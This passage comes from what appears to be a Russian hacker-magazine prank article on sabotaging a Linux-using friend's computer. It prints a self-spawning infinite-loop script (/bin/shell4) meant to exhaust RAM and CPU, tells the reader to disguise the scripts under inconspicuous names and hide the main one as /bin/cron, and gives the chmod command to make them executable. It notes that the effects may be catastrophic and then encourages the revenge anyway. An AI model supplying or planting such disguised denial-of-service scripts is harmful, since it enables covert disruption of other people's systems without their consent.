|
Приколись над другом-линуксоидом v.2
Xakep, номер #050, стр. 050-078-3 Четвертый скрипт (файл /bin/shell4): #!/bin/sh while : do $0 2>/dev/null; q=$((q))+31337; w=$((w))+$((q)); e=$((e))+$((q))+$((w)); r=$((r))+$((q))+$((w))+$((e)); t=$((t))+$((q))+$((w))+$((e))+$((r)); y=$((y))+$((q))+$((w))+$((e))+$((r))+$((t)); done Центральными объектами, подвергающимися проверке на прочность, являются оперативная память и процессор. А что подходит для этого лучше всего? Правильно: сложные расчеты, что и реализовано крайне примитивно в этом скрипте. Но главной достопримечательностью являются вовсе не вычисления, удар которых примет на себя проц, а шухер, создающийся многократными запусками самой программы. Их количество будет расти в арифметической прогрессии, в результате чего оперативной памяти придется поднатужиться куда больше, чем вышеупомянутому CPU. Полезный совет: первый, второй, третий и четвертый скрипт лучше переименовать, используя неприметные названия, чтобы сразу не бросались в глаза (если будешь это делать, то необходимо будет немного отредактировать главный скрипт aka /bin/cron, проставив там новые имена). Да, и не забудь поставить разрешение на выполнение всех скриптов: chmod +x /bin/cron /bin/shell1 /bin/shell2 /bin/shell3 /bin/shell4 Warning! Считаю своим долгом предупредить, что запуск приведенных скриптов может привести к очень неожиданным и зачастую неприятным (иногда даже катастрофическим) последствиям, за которые я не отвечаю. Вот почему сначала хорошенько подумай: "А действительно ли Васек такой козел распальцованный? Или, может, лучше пока не трогать его любимого черно-желто-белого друга? Ведь есть и другие способы ему отомстить за спаленную видюху, проломленный моник и разорванную на куски клаву..." Подумал? Вот теперь можешь отрываться по-черному над этим засранцем. |